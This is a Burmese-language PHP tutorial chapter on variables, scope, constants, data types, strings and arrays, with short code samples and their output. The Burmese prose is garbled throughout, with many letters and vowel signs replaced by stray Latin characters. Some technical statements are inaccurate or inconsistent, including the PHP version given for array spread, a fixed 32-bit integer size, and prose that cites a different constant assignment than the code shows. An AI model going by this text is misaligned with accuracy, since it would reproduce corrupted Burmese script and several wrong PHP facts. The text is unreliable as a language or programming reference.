အပိတ်ရဲ့dအာက်မှာ ဆကရ်ှိdနတဲ့ လုိင်းအပုိအလွတ်dတွဟာ dခါ်ယူတဲ့dနရာထိ ပါသွားပြပီး ဒုက္ခdပးတတ်
ပါတယ်။ ?> အပိတ်ရဲ့ အgပင်မှာ ဆကရ်ှိdနတဲ့ လုိင်းအပုိdတွက PHP နဲ့ မဆိုင်လ့ုိ PHP က ထည့်အလုပ် မ
လုပ်တဲ့အတွက်deကာင့်ပါ။  အပိတ်မထည့်တဲ့အခါ  dအာက်မှာ  zယ်dလာက်ပဲ  လုိင်းအပုိdတွ  ထပ်ရှိ
dနပါdစ၊ ဒီလုိင်းအပုိdတွကို PHP က oယ်ထုတ်ပြပီး အလုပ်လုပ်dပးလုိက်မှာgoစ်လ့ုိ ပုိပြပီးdတာ့ အဆင်dgပပါ
တယ်။ ဒါdeကာင့် PHP ချည်းသက်သကd်ရးတဲ့အခါ ဟိုးအdပါ်မှာ အoွင့်ကို ထည့်dပမယ့် dအာကz်က်မှာ
အပိတ်ကို မထည့်dတာ့zဲ dရးeကdလ့ရှိတယ်ဆိုတာကို သတိgပုeကရမှာပဲ goစ်ပါတယ်။

Variables
PHP  မှာ  Variable  dတွကို  var တို့  let တို့လုိ  Keyword  dတွနဲ့  deကညာစရာမလုိzူး။  ဒါdပမယ့်
Variable အားလံုးဟာ $ သdက[တနဲ့ စ ရတယ်လ့ုိ အထက်မှာ dgပာခဲ့ပါတယ်။ PHP ဟာ JavaScript လုိပဲ
Loosely Typed Language goစ်တဲ့အတွက် Type Juggling သdzာသzာဝ ရိှပါတယ်။ Variable dတွရဲ့
Data Type ဟာ ထည့်သွင်းလိုက်တဲ့ တန်oုိးdပါ်မူတည်ပြပီး အလုိအdလျှာက် dgပာင်းလဲနိုင်ပါတယ်။ 
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JavaScript  မှာ  typeof Keyword  နဲ့  Variable  dတရွဲ့  Data Type  ကို  dလ့လာလို့ရသလုိပဲ  PHP  မှာ
လည်း var_dump() Function နဲ့ dလ့လာနိုင်ပါတယ်။ var_dump() က Variable ရဲ့ Data Type ကို
doာ်gပယံုသာမက အထဲမှာရှိdနတဲ့ တန်oုိးကိုပါ doာ်gပdပးလုိက်မှာပါ။ ဒီလုိစမ်းeကည့်နိုင်ပါတယ်။

 PHP 
<?php
$var;
var_dump($var); // Warning: Undefined Variable  // NULL

$var = 123;
var_dump($var); // int(123)

$var = "abc";
var_dump ($var); // String(3) "abc"

PHP  မှာ  Variable  dတွကို ကြကိုdeကညာစရာမလုိzဲ တန်oုိးထည့်သွင်းလိုက်မှ အလုိအdလျှာက် deကညာ
အလုပ်လုပ်dပးသွားတာပါ။  ဒါdeကာင့်  dပးထားတဲ့နမူနာမှာ  $var အမည်နဲ့  Variable  တစ်ခုသတ်မှတ်
လုိက်dပမယ့် var_dump() နဲ့ ထုတ်eကည့်လုိက်တဲ့အခါ Undefined Variable ဆိုတဲ့  Waring ကို dတွ့
gမင်ရမှာ goစ်ပါတယ်။ ထုတ်dပးစရာတန်oုိး မရှိလ့ုိ NULL ကိုလည်း ထုတ်dပးလုိက်မှာ goစ်ပါတယ်။

dနာက်တစ်ဆင့်မှာdတာ့  $var = 123 လ့ုိdgပာလုိက်တဲ့အတွက် $var ဟာ အလုိအdလျှာက် Integer
Variable  တစ်ခုgoစ်သွားပါတယ်။  $var = "abc" လ့ုိ  dgပာလုိက်တဲ့အချနိ်မှာdတာ့  Type  အလုိအ
dလျှာက် dgပာင်းသွားပြပီး String goစ်သွားပါdတာ့တယ်။

PHP  Variable  dတွဟာ  Context  Scope    သdzာသzာဝ   ရှိပါတယ်။  ဆိုလုိတာက၊  deကညာထားတဲ့
dနရာနဲ့ပဲ  သက်ဆိုင်တယ်ဆိုတဲ့သdzာပါ။  Global  Variable  ကို  Global Scope  မှာပဲ  သံုးလ့ုိရပါတယ်။
Function ကdန သံုးလ့ုိမရပါzူး။ ဥပမာ ဒီလုိပါ – 
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 PHP 
$name = "Bob";

function hello() {
    echo $name;
}

hello(); // Warining: Undefined variable $name

$name Variable  ကို  gပင်ပမှာ  deကညာထားလ့ုိ  Global  Variable  goစ်dနပါတယ်။  JavaScript  လုိ
Language မျ ို းမှာ  Global Variable  ကို  Function ကdန ယူသံုးခွင့်ရှိdပမယ့် PHP မှာ  Global Variable
ကို Global ကုဒ်dတွကပဲ ယူသံုးခွင့်ရှိပါတယ်။ Function က တိုက်ရိုက်ယူသံုးခွင့်မရှိလ့ုိ Warning တက်တာ
ကို  dတွ့ရမှာ  goစ်ပါတယ်။  သုံးချင်တယ်ဆိုရင်  ရdတာ့ရပါတယ်။  သံုးချင်တဲ့အdeကာင်း  ကြကိုdgပာdပးရပါ
တယ်။ ဒီလုိပါ – 

 PHP 
$name = "Bob";

function hello() {
    global $name;
    echo $name;
}

hello(); // Bob

ဒီတစ်ခါdတာ့ အဆင်dgပသွားပါတယ်။ global Keyword ကိုသံုးပြပီး Global Variable ကို Function ထဲ
မှာ  အသံုးgပုမယ့်အdeကာင်း  ကြကိုdgပာပြပီးdတာ့မှ  သံုးလုိက်တဲ့အတွက်deကာင့်ပါ။  Function  အတွင်းမှာ
deကညာထားတဲ့  Variable  dတွကdတာ့  Function Scope  goစ်လ့ုိ  Function  အတွင်းမှာ နှစ်သက်သလုိ
အသံုးgပုနိုင်ပါတယ်။ Block Scope သdzာသzာဝမျ ို း မရှိပါzူး။ ဒီလုိပါ –
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 PHP 
function hello() {

if(true) {
$name = "Alice";

}

echo $name;
}

hello(); // Alice

နမူနာမျာ $name Variable ကို  if Block အတွင်းမှာ deကညာထားdပမယ့် gပင်ပကdနလည်း ယူသံုးလ့ုိ
ရတာကို dတွ့gမင်ရgခင်း goစ်ပါတယ်။ Variable  dတွရှိမရှိ စစ်ချင်ရင်  isset() ကိုအသံုးgပုပြပီး စစ်နိုင်ပါ
တယ်။ ရိှရင် true အdနနဲ့ 1 ကိုgပန်dပးပြပီး မရှိရင်dတာ့ false အdနနဲ့ Empty ကို gပန်dပးပါတယ်။

 PHP 
<?php
echo isset($name); // Empty

$name = "Bob";

echo isset($name); // 1

နမူနာအရ $name Variable မရှိခင်မှာ စစ်eကည့်လုိက်တဲ့အခါ false goစ်dနပြပီး $name Variable ရှိပြပီး
dနာက်မှ စစ်eကည့်တဲ့အခါ  true goစ်dနတာကို  dတွ့ရမှာ goစ်ပါတယ်။  PHP  မှာ  Constant  dတွလည်း
deကညာအသုံးgပုလ့ုိ  ရပါတယ်။  ထူးgခားချက်အdနနဲ့  Constant  dတွကို  define() Function  သံုးပြပီး
deကညာdပးရပါတယ်။ ပြပီးdတာ့ ရိုးရိုး Variable လုိ $     သdက[တလည်း ပါစရာ မလုိအပ်ပါzူး  ။ ဒီလုိပါ – 

 PHP 
<?php
define("MIN", 1);
define("MAX", 10);
echo MAX; // 10
MAX = 20; // Syntax Error: unexpected =
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define() Function ရဲ့ ပထမ Argument မှာ Constant  ရဲ့အမည်ကိုdပးရပြပီး ဒုတိယ Argument မှာ
တန်oုိးကိုdပးရတာပါ။ Constant   အမည်အdနနဲ့ စာလံုးအကြကီးအdသး၊ ကြကိုက်တာdပးလုိ့ ရdပမယ့် အကြကီး  
dတခွျည်းပဲ dပးeကတာ ထံုးစံပါ။ deကညာသတ်မှတ်ထားတဲ့  Constant  dတွကို လုိအပ်တဲ့dနရာမှာ ရိုးရိုး
Variable  သံုးသလုိပဲ  gပန်လည်အသံုးgပုနိုင်ပါတယ်။  Constant  goစ်တဲ့အတွက်  တန်oုိးအသစ်dတာ့
dgပာင်းလဲ သတ်မှတ်လ့ုိရမှာ မဟုတ်ပါzူး။ Assignment Operator goစ်တဲ့ = ကိုdတာင် Constant နဲ့အတူ
တွဲပြပီး အသုံးgပုခွင့် dပးမှာမဟုတ်ပါzူး။ ဒါdeကာင့် အdပါ်က ကုဒ်က Run လုိက်ရင် Syntax Error goစ်ပါ
လိမ့်မယ်။ စမ်းeကည့်လ့ုိရမှာ မဟုတ်ပါzူး။ မှားdနတဲ့ MAX = 3 ဆိုတဲ့ လုိင်းကို oယ်လုိက်မှသာ  စမ်းလ့ုိရ
မှာပါ။

Constant ရဲ့ ထူးgခားချက်ကdတာ့ zယ်dနရာမှာပဲ deကညာသည်goစ်dစ   Global Constant   goစ်သွားgခင်း  
goစ်ပါတယ်။ ပြပီးdတာ့ ရိုးရိုး Variable လုိ Global Constant ကို Function ထဲမှာ ကြကိုdgပာပြပီးမှ သံုးစရာ မ
လုိအပ် ပါzူး။ Constant dတွကို deကညာပြပီးပြပီဆိုရင် ကြကိုက်တဲ့dနရာမှ ချသံုးလို့ ရနိုင်ပါတယ်။

Data Types
PHP မှာ  Scalar Type  လ့ုိdခါ်တဲ့ အdgခခံအကျဆုံး  Data Type (  ၄  )    မျ ို း   ရှိပါတယ်။  Boolean, Integer,
Float နဲ့  String တို့ goစ်ပါတယ်။ Boolean ကdတာ့ true နဲ့  false တန်oုိးနှစ်မျ ို းသာ လက်ခံနိုင်တဲ့  Data
Type goစ်ပါတယ်။ Integer ဟာ 32-bit Integer goစ်ပြပီးdတာ့၊ Float က 64-bit Float goစ်ပါတယ်။ PHP
မှာ Unsigned Integer သdzာသzာဝမရှိပါzူး။ String အdeကာင်းကိုdတာ့ ခဏနေdနမှဆက်dgပာပါမယ်။

PHP မှာ Compound Type လ့ုိdခါ်တဲ့ တန်oုိးdတွ အတွဲလုိက်သိမ်းနိုင်တဲ့ Data Type  လည်း (၄) မျ ို း ရိှပါ
တယ်။  အ့ဲဒီထဲက  Array  နဲ့  Object  ကို  dရွးချယ်dလ့လာသွားeကမှာပါ။  NULL နဲ့  resource ဆိုတဲ့
Special  Data  Type  (၂)  မျ ို းလည်းရှိပါdသးတယ်။  တန်oုိးမရှရိင်  NULL goစ်ပြပီး  resource ဆိုတာ
ကdတာ့ ဒီလုိပါ၊ ပံုမှန်အားgoင့်  Variable ဆိုတာ ကွန်ပျူတာ Memory dပါ်မှာ dနရာတစ်ခု ယူပြပီး တန်oုိး
dတွ သိမ်းလုိက်တာပါ။  Variable Name ဆိုတာ အ့ဲဒီလုိ  သိမ်းထားတဲ့ တည်dနရာရဲ့အညွှန်း goစ်ပါတယ်။
PHP  မှာ  တန်oုိးdတွကို  Memory  dပါ်မှာ  dနရာယူမသိမ်းzဲ  Hard  Drive  dပါ်မှာ  oုိင်အdနနဲ့goစ်goစ်၊
တgခားတစ်dနရာရာမှာပဲ  goစ်goစ်  သိမ်းထားပြပီးdတာ့  အ့ဲဒီလုိသိမ်းထားတဲ့dနရာကို  ညွှန်းdပးနိုင်တဲ့
သdzာသzာဝ ရှိပါတယ်။ အ့ဲဒီလို ညွှန်းထားတဲ့ အညွှန်းတန်oုိးအတွက် Integer  dတွ String dတွ မသုံး
ပါzူး။ resource လ့ုိdခါ်တဲ့ သီးgခား Special Data Type တစ်မျ ို းကို သံုးလုိက်တာပါ။
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String  တန်oုိးdတွ deကညာသတ်မှတ်oုိ့အတွက်  Single Quote, Double Quote  နှစ်မျ ို းလံုးကို သုံးနိုင်ပါ
တယ်။ အdရးကြကီးတဲ့  ကွဲလဲွမှုdလး တစ်ခုdတာ့  ရှိပါတယ်။  Double Quote String    dတဟွာ    Template  
String   ကဲ့သို့  အလုပ်လုပ်ပါတယ်  ။  String အတွင်းမှာ  Variable dတွ ထည့်dရးရင် သက်ဆိုင်ရာတန်oိုးကို
အသံုးgပု အလုပ်လုပ်dပးနိုင်ပါတယ်။ ဒီလုိပါ – 

 PHP 
<?php
$name = "Alice";
$role = "Web Developer";
$company = "Acme Inc";

echo "$name is a $role at $company.";
// Alice is a Web Developer at Acme Inc.

မူလကထဲက Variable dတွကို $ သdက[တနဲ့ စdပးရတဲ့အတွက် String အတွင်းမှာ Variable dတွ ပါလာ
ရင် PHP က သိရှိပြပီး အလုပ်လုပ်dပးနိုင်တာပါ။ ထူးgခားတဲ့ dရးထံုးသစ်dတွ ဒီအတွက် တီထွင်ထည့်သွင်း
dပးစရာ မလုိdတာ့ပါzူး။ အdတာ်dလး အဆင်dgပအသံုးဝင်တဲ့ လုပ်dဆာင်ချက် goစ်ပါတယ်။

တစ်ချ ို ့ Escape လုပ်o့ုိလိုတဲ့ Character dတွကို \ သdက[တနဲ့ Escape လုပ်နိုင်ပါတယ်။ ဥပမာ – 
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 PHP 
<?php
$fruit = "Apple";
$price = 1.99;

echo "Buy some $fruit for \$$price each.";
// Buy some Apple for $1.99 each.

$ သdက[တဟာ Escape လုပ်o့ုိလိုတဲ့ သdက[တgoစ်ပါတယ်။ ဒီdတာ့မှ  Variable နဲ့မမှားမှာပါ။  \$ လ့ုိdရး
dပးလုိက်တဲ့အတွက် ဒီသdက[တကို ထည့်သွင်းအလုပ်မလုပ်dတာ့zဲ သdက[တအတိုင်းပဲ ရိုက်ထုတ်doာ်gပ
dပးလုိက်တာပါ။  Double  Quote  dတွ  Single  Quote  dတွကို  Escape  လုပ်o့ုိလိုအပ်ရင်လည်း  ဒီနည်း
အတိုင်းပဲ dရးနိုင်ပါတယ်။

 PHP 
<?php
echo "This tree is 10' 8\" long.";
// This tree is 10' 8" long.

8" ရဲ့ Double Quote သdက[တကို စာdeကာင်းအoွင့်အပိတ် Double Quote နဲ့မှားမှာစိုးလ့ုိ Escape လုပ်
dပးလုိက်တာပါ။  dရှ့ က  Single Quote  ကdတာ့  မှားစရာမရှိလ့ုိ  Escape  မလုပ်dတာ့ပါzူး။  လုိအပ်ရင်
လုပ်လုိ့ရပါတယ်။ Backslash dတွကိုလည်း Escape လုပ်dပးo့ုိ လုိအပ်ပါတယ်။

 PHP 
<?php
echo "C:\\xampp\\htdocs";
// C:\xampp\htdocs

Single Quote နဲ့ dရးထားတဲ့ String dတွမှာdတာ့ Variable dတွပါလ့ုိမရပါzူး။ ဒါထူးgခားချက်ပါ။ Single
Quote String dတဟွာ အရှိအတိုင်းပဲ သတ်မှတ်doာ်gပသွားမှာပါ။ ဒီလုိပါ – 
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 PHP 
<?php
$name = 'Bob';

echo 'Hello $name, welcome.';
// Hello $name, welcome.

$name Variable ကို အလုပ်မလုပ်zဲ dရးထားတဲ့အတိုင်း doာ်gပသွားတာကို dတွ့ gမင်ရgခင်း goစ်ပါတယ်။
ဒါကို သတိထားo့ုိလုိပါတယ်။ မှားတတ်ပါတယ်။ သင်တန်းမှာ ကြကုံdနeကပါ။ String dတွ မမှန်zူးဆရာလ့ုိ
dgပာလာတိုင်း သွားeကည့်စရာမလုိပါzူး။  Double Quote String သံုးပါလုိ့ လက်တမ်းdgoရှင်းdပးလုိက်ရ
တာ ခဏနေခဏနေပါပဲ။ Double Quote String မှသာ အထဲက Variable တန်oုိးdတွကို အသံုးgပု အလုပ်လုပ်
မှာ goစ်ပါတယ်။

String တစ်ခုမှာ စာလံုးzယ်နှစ်လံုးပါလဲဆိုတာ သိချင်ရင် strlen() Function ကို သံုးနိုင်ပါတယ်။

 PHP 
<?php
echo strlen("Hello World"); // 11
echo strlen("က္ကခဂ"); // 9

gမန်မာစာအတွက်  ရလဒ်မမှန်တာကို  သတိgပုပါ။  ဒီdနရာမှာ  မမှန်deကာင်းကိုပဲ  dgပာနိုင်ပါဦးမယ်။  zာ
deကာင့်လဲဆိုတာနဲ့  dgoရှင်းနည်းကိုdတာ့  ထည့်dgပာနိုင်ဦးမှာ  မဟုတ်ပါzူး။  စာdeကာင်းတစ်deကာင်း
ကdန လုိချင်တဲ့အပုိင်း goတ်ယူချင်ရင် substr() Function ကို သံုးနိုင်ပါတယ်။

 PHP 
<?php
$str = "A quick brown fox.";

echo substr($str, 0, 7); // A quick
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0 က စမှတ်goစ်ပြပီး 7 က စာလံုးအdရအတွက် goစ်ပါတယ်။ နှစ်သက်ရာတန်oိုးကို အစားထုိး အသံုးgပုနိုင်ပါ
တယ်။ စာdeကာင်းထဲမှာ Search & Replace လုပ်ချင်ရင် str_replace() ကို သံုးနိုင်ပါတယ်။

<?php
$str = "Come here, quick, quick.";

echo str_replace("quick", "hurry", $str);
// Come here, hurry, hurry.

ရှာချင်တဲ့စာလံုး၊  အစားထုိးချင်တဲ့စာလံုး၊  မူရင်း  String  အစီအစဉ်အတိုင်း  dပးရပါတယ်။  dစာdစာက
substr() Function မှာ မူရင်း String ကdရှ့ ကလာပြပီး၊ အခု str_replace() Function မှာ မူရင်း
String က dနာက်ကလာပါတယ်။ ပြပီးdတာ့ str_replace() ကို  Underscore နဲ့dရးပြပီး substr()
ကိုကျdတာ့ sub_str() လ့ုိ Underscore နဲ့မdရးပါzူး။ 

ဒီကိစ္စဟာ PHP ကို အခုတစ်မျ ို း dတာ်eကာတစ်မျ ို း၊ စနစတ်စ်ကျမရှိzူးရယ်လ့ုိ လူdတွ dဝoန်ကဲ့ရဲ့eကတဲ့
အdeကာင်းရင်းdတွထဲက  တစ်ခုgoစ်ပါတယ်။  မှန်ပါတယ်။  PHP  ဟာ  အရင်က  အ့ဲဒီလုိ  ကdမာက်ကမ
သzာဝdတွ  Language  ထဲမှာ ပါdနလ့ုိ လူdgပာများခဲ့ပါတယ်။ ဒါdပမယ့်  PHP 5.4  dလာက်ကdန စပြပီး
dနာက်ပုိင်းမှာdတာ့  (မူလရှိပြပီးသားကdမာက်ကမdတွ ကျန်dနdပမယ့်)  gပင်ဆင်goည့်စွက် အဆင့်gမှင့်တင်
မှုdတွ  ဆကတ်ိုက်လုပ်လာခဲ့လ့ုိ  အခုဆိုရင်  အများကြကီး  တုိးတက်dgပာင်းလဲdနပါပြပီ။  dရးသားရတာ
အဆင်dgပပြပီး စနစ်ကျတဲ့ Language တစ်ခု goစ်dနပါပြပီ။

dနာက်ထပ် Standard String Function dတွ အများကြကီးကျန်dသးdပမယ့် အခုတစ်ခါထဲ အကုန်မှတ်o့ုိ မ
လုိအပ်ပါzူး။ တစ်ကယ်လုိအပ်လာdတာ့မှ eကည့်ရှုdလ့လာပြပီး အသံုးချသွားလ့ုိ ရနိုင်ပါတယ်။

- https://www.php.net/manual/en/ref.strings.php

https://www.php.net/manual/en/ref.strings.php


PWD 2022 – အခန်း (၂၈) – PHP Strings & Arrays 420

Array
PHP မှာ  Array တစ်မျ ို းထဲသာ ရှိပါတယ်။ ဒါdပမယ့် အသံုးgပုပုံdပါ်မူတည်ပြပီး နှစ်မျ ို းခွဲ dgပာချင်ပါတယ်။
ပထမတစ်မျ ို းက Numeric Array goစ်ပြပီး Array Index ကို နံပါတ်စဉ်အတိုင်း သတ်မှတ်အသံုးgပုတဲ့ Array
ပါ။ deကညာသတ်မှတ်နည်း (၂) နည်းရှိပါတယ်။

 PHP 
<?php
$users = array("Alice", "Bob");
$fruits = ["Apple", "Orange"];

echo $users;
// Warning: Array to string conversion
// Array

print_r($fruits);
// Array ( [0] => Apple [1] => Orange )

var_dump($fruits);
array(2) { [0]=> string(5) "Apple" [1]=> string(6) "Orange" }

ပထမဆုံး တစ်deကာင်းမှာ array() ကိုသုံးပြပီး တန်oုိးနှစ်ခုပါဝင်တဲ့  $users Array တစ်ခု oန်တီးထား
ပါတယ်။ ဒုတိယတစ်deကာင်းမှာdတာ့ dလးdထာင့်ကွင်း အoွင့်အပိတ်ကိုသုံးပြပီး  $fruits Array  တစ်ခု
oန်တီးထားပါတယ်။ နှစ်သက်ရာနည်းကို  အသုံးgပုနိုင်dပမယ့် dလးdထာင့်ကွင်း အoွင့်အပိတ်ကို  သုံးရတဲ့
dရးနည်းကိုသာ အခုdနာက်ပုိင်း အသံုးများeကပါတယ်။ ဒီdရးနည်းက PHP 5.4 ကျdတာ့မှ စပါလာတဲ့ dရး
နည်းမ့ုိလ့ုိ၊ ဟိုးအရင်တုံးက PHP ပdရာZျက်အdဟာင်းdတွမှာ ဆိရုင်dတာ့ array() dရးထံုးကို ခုထိ သံုး
ထားeကdသးတာကို dတွ့ရနိုင်ပါdသးတယ်။ php.net  မှာရှိတဲ့  Official PHP Manual  မှာ eကည့်လိုက်ရင်
လည်း နမူနာdတွမှာ  array() ကို  ပုိပြပီးdတာ့  အသံုးများတာကို  dတွ့ ရနိုင်ပါတယ်။ ဟိုးအရင်ကတည်း
ရိှdနတဲ့ လမ်းညွှန်မ့ုိလ့ုိ dရးနည်းdဟာင်းdတွ ကျန်dနတာပါ။

ဆက်လက်ပြပီး၊ ထူးgခားချက်အdနနဲ့ echo ကို သံုးပြပီး Array dတွကို doာ်gပခိုင်းလို့ မရတာကို သတိgပုပါ။
echo က String တန်oုိးdတွကိုသာ doာ်gပနိုင်တာပါ။ တgခား Integer တို့ Float တို့က gပဿနာမရှိပါzူး။
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String dgပာင်းပြပီး gပdပးလုိက်လို့ ရတဲ့အတွက် gပdပးနိုင်ပါတယ်။ Array ကို တိုက်ရိုက် String dgပာင်းလုိ့မ
ရတဲ့အတွက် Waring dပးပါလိမ့်မယ်။ လံုးဝ မgပတာdတာ့ မဟုတ်ပါzူး။ Array မှန်းသိလ့ုိ Array ဆိုတဲ့စာ
ကိုdတာ့ gပdပးပါတယ်။

Array  တန်oုိးdတွကို  doာ်gပdစလုိရင်  var_dump() သ့ုိမဟုတ်  print_r() ကို  သံုးနိုင်ပါတယ်။
var_dump() က  Data Type  dတွကိုပါ  ထည့်gပလို့၊  doာ်gပတဲ့အချက်အလက် ပုိgပည့်စုံပါတယ်။ ဒါdပ
မယ့် Array ထဲမှာ ရိှတာကိုပဲ ခပ်ရှင်းရှင်း eကည့်ချင်တယ်ဆိုရင် print_r() ကလည်း အသံုးဝင်ပါတယ်။
နမူနာမှာ eကည့်လိုက်ရင် $fruits Array ထဲမှာ တန်oုိးdတွဟာ Index 0, 1 အစီအစဉ်အတိုင်း ရှိdနတာ
ကို dတွ့ရမှာ goစ်ပါတယ်။

dနာက်ထပ်  Array  တစ်မျ ို းကိုdတာ့  Associative Array  လ့ုိdခါ်ပါတယ်။  Index  ကို  နံပါတ်စဉ်အတိုင်း မ
သွားdတာ့zဲ မိမိနှစ်သက်ရာအမည်နဲ့  Associate လုပ်ပြပီး တဲွoက်သတ်မှတ်dပးတဲ့နည်း goစ်ပါတယ်။ ဒီလုိ
dရးရပါတယ် – 

 PHP 
<?php
$user = [ "name" => "Alice", "age" => 22];

print_r($user);
// Array ( [name] => Alice [age] => 22 )

Array Index အတွက် String တစ်ခုကို dပးရပါတယ်။ Value dနရာမှာdတာ့ နှစ်သက်ရာတန်oုိးကို dပးလ့ုိ
ရပါတယ်။ Data Type ကန့်သတ်ချက် မရှိပါzူး။ Array တစ်ခုရဲ့အတွင်းမှာ ထပ်ဆင့် Array dတွလည်း ရိှ
နိုင်ပါတယ်။ ဒီလိုပါ – 
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 PHP 
<?php
$users = [ 

["name" => "Alice", "age" => 22],
["name" => "Bob", "age" => 23],
["name" => "Tom", "age" => 24],

];

print_r($users);

ရိုးရိုး  Numeric  Array  တစ်ခုရဲ့အတွင်းမှာ  Associate  Array  dတွကို  တန်းစီပြပီး  ထည့်သွင်းထားတာပါ။
ရလဒ်ကို နမူနာမှာ ထည့်မgပdတာ့ပါzူး။ ကိုယ်တိုင် စမ်းeကည့်နိုင်ပါတယ်။ ဒီdနရာမှာ  Trailing Comma
dခါ် dနာက်ဆုံး  Comma dလးတစ်ခုကို သတိgပုပါ။  PHP Array dတွမှာ အ့ဲဒီလုိ dနာက်ဆုံးမှာ  Comma
အပုိတစ်ခု ပါတာကို လက်ခံပါတယ်။ ဟိုးအရင်ကတည်းက လက်ခံတာပါ။ ဒီလုိ dနာက်ဆုံး Comma အပုိ
ကို  လက်ခံတဲ့  dရးထံုးဟာ အသံုးဝင်တဲ့အတွက်  JavaScript  လုိ  Language  မျ ို းကလည်း dနာက်ပုိင်းမှာ
အလားတူ လက်ခံdပးလာခဲ့ပါတယ်။

Array ထဲက တန်oုိးတစ်ခုကို ရယူလုိရင်dတာ့ သက်ဆိုင်ရာ Index နဲ့dထာက်ပြပီး ရယူနိုင်ပါတယ်။

 PHP 
<?php
$users = [ 

["name" => "Alice", "age" => 22],
["name" => "Bob", "age" => 23],
["name" => "Tom", "age" => 24],

];

print_r( $users[0] );
// Array ( [name] => Alice [age] => 22 )

echo $users[0]['name'];
// Alice
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နမူနာအရ  $users Array  ဟာ dနာက်ထပ်  Array  dတွအထဲမှာ ထပ်ဆင့်ရှိdနတဲ့  Two Dimensional
Array တစ်ခုgoစ်ပါတယ်။ $users[0] နဲ့ Index 0 ကတန်oုိးကို ရယူလုိက်တဲ့အခါ ရှိdနတဲ့ Array ကိုgပန်
ရမှာgoစ်လ့ုိ print_r() နဲ့ doာ်gပo့ုိ dရးdပးထားပါတယ်။ $users[0]['name'] ဆိုdတာ့မှ Index
0  မှာရှိdနတဲ့  Array  ရဲ့  name Index  တန်oုိးကို  ရယူလုိက်တာgoစ်ပါတယ်။  Array  တန်oုိးdတွ  ထပ်တိုး
သတ်မှတ်လုိရင်လည်း ဒီနည်းအတိုင်းပဲ ထပ်တိုးသတ်မှတ်နိုင်ပါတယ်။

 PHP 
<?php
$fruits = ['Apple', 'Orange'];
$fruits[4] = 'Mango';

print_r($fruits);
// Array ( [0] => Apple [1] => Orange [4] => Mango )

မူလ $fruits Array မှာ Index နှစ်ခရုှိပါတယ်။ 0 နဲ့  1 goစ်မှာပါ။ ထပ်လာမယ်ဆိုရင် 2 လာရမှာပါ။ ဒါ
dပမယ့်  Index 4  မှာ dနာက်ထပ် တန်oိုးတစ်ခု  ထပ်တိုးထားတာကို  dတွ့ရပါလိမ့်မယ်။ ဒီလုိdရးလ့ုိ ရပါ
တယ်။  ရလဒ်ကို  ထုဒ်eကည့်လုိက်တဲ့အခါ  Index  0,  1  နဲ့  4  တို့  အသီးသီးရှိdနတာကို  dတွ့ရမှာပါ။
JavaScript လုိ Language မျ ို းမှာဆိုရင် eကားထဲမှာ 2 နဲ့ 3 အတွက် Empty Slot dတွဝင်သွားမှာပါ။ PHP
မှာdတာ့ အ့ဲဒီလုိ မဝင်ပါzူး။

Array  ထဲကို  တန်oုိးdတွ ထပ်တိုးသတ်မှတ်တဲ့အခါ ကိုယ့်zာသာ  Index  နံပါတ် မdပးdတာ့zဲ၊  သ့ူအလို
အdလျှာက် ထပ်တိုးပြပီး ထည့်သွားdအာင်လည်း dရးလ့ုိရပါတယ်။ ဒီလုိပါ – 

 PHP 
$fruits = ['Apple', 'Orange'];
$fruits[] = 'Mango';

print_r($fruits);
// Array ( [0] => Apple [1] => Orange [2] => Mango )
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dလdထာင့်ကွင်း အလွတ်ကို  dပးလုိက်တာ သတိgပုပါ။ အထဲမှာ  Index  နံပါတ် ထည့်မdပးထားပါတယ်။
JavaScript  မှာ အ့ဲဒီလုိdရးရင်  Error  goစ်ပါလိမ့်မယ်။  PHP  မှာ မgoစ်ပါzူး။  ရလဒ် ထုတ်gပထားတာကို
eကည့်လိုက်ရင် အလုိအdလျှာက် Index 2 မှာ dပးလုိက်တဲ့တန်oုိးကို ထည့်dပးထားတာကို dတွ့ ရမှာပဲ goစ်
ပါတယ်။

PHP  မှာ မူလကတည်းက  Array Destructuring  dရးဟန် ပါဝင်ပြပီး dနာက်ပုိင်း  Version  dတွမှာ  Array
Spread လုပ်dဆာင်ချက်လည်း ပါဝင်လာပါတယ်။ ဒီလိုပါ –

 PHP 
<?php
$user = ["Alice", 22];

list($name, $age) = $user;
echo $name; // Alice

list() ကိုအသံုးgပုပြပီး Array ထဲက တန်oုိးdတွကို Destructure လုပ်ပြပီး Variable dတွရဲ့ တန်oုိးအgoစ်
လက်ခံလုိက်တာပါ။ PHP 7.1 ကdနစပြပီး ဒီလုိdရးလ့ုိလည်း ရသွားပါတယ်။ ရလဒ် အတတူူပါပဲ –

 PHP >= 7.1 
<?php
$user = ["Alice", 22];

[ $name, $age ] = $user;

echo $name; // Alice

ဒါက ရိုးရိုး Array အတွက်ပါ။ Associative Array ဆိုရင်dတာ့ အခုလုိdရးdပးo့ုိ လုိအပ်ပါတယ်။
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 PHP >= 7.1 
<?php
$user = ["name" => "Alice", "age" => 22];

["name" => $name, "age" => $age] = $user;

echo $name; // Alice

Array Spread လုပ်dဆာင်ချက်ကိုdတာ့ ဒီလုိdရးပြပီး စမ်းeကည့်နိုင်ပါတယ်။

 PHP >= 5.6 
<?php
$nums1 = [1, 2];
$nums2 = [ ...$nums1, 3 ];

print_r($nums2);
// Array ( [0] => 1 [1] => 2 [2] => 3 )

$nums Array  အတွက်  $nums1 Array  ထဲကတန်oုိးdတွကို  Spread  လုပ်ချ ထည့်dပးလုိက်ပြပီးdတာ့မှ
dနာက်ထပ် တန်oုိးတစ်ခု ထပ်တိုးထားတာပါ။

JavaScript  မှာလည်း  အလားတူ  လုပ်dဆာင်ချက်dတွရှိလ့ုိ  အသစ်အဆန်းdတာ့  မဟုတ်ပါzူး။  PHP    နဲ့  
JavaScript   တိုရ့ဲ့ ထူးgခားချက်ကdတာ့   Language   သdzာသzာဝ မတူdပမယ့် ဒီလုိမျ ို း dရးဟန်dတွမှာ  
အdတာ်dလး ဆင်တူdနတာပဲ  goစ်ပါတယ်။  Language  နှစ်မျ ို းgoစ်dနလ့ုိ  နှစ်မျ ို း  အစအဆုံး  အကုန်gပန်
dလ့လာdနစရာ မလုိအပ်dတာ့လ့ုိ dလ့လာသူdတွအတွက် dလ့လာရတာ ပုိပြပီးလွယ်ကူသွားdစပါတယ်။

PHP  မှာ  အသံုးဝင်တဲ့  Array  Function  dတွအများကြကီးရှိပါတယ်။  အသံုးများတဲ့  Function  တစ်ချ ို ့
အdeကာင်း တစ်ခါထဲ ထည့်dgပာချင်ပါတယ်။ 
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Array တစ်ခုမှာပါဝင်တဲ့ Item အdရအတွက်ကိုသိချင်ရင် count() ကို အသံုးgပုနိုင်ပါတယ်။

 PHP 
<?php
$nums = [1, 2, 3, 4];

echo count($nums); // 4

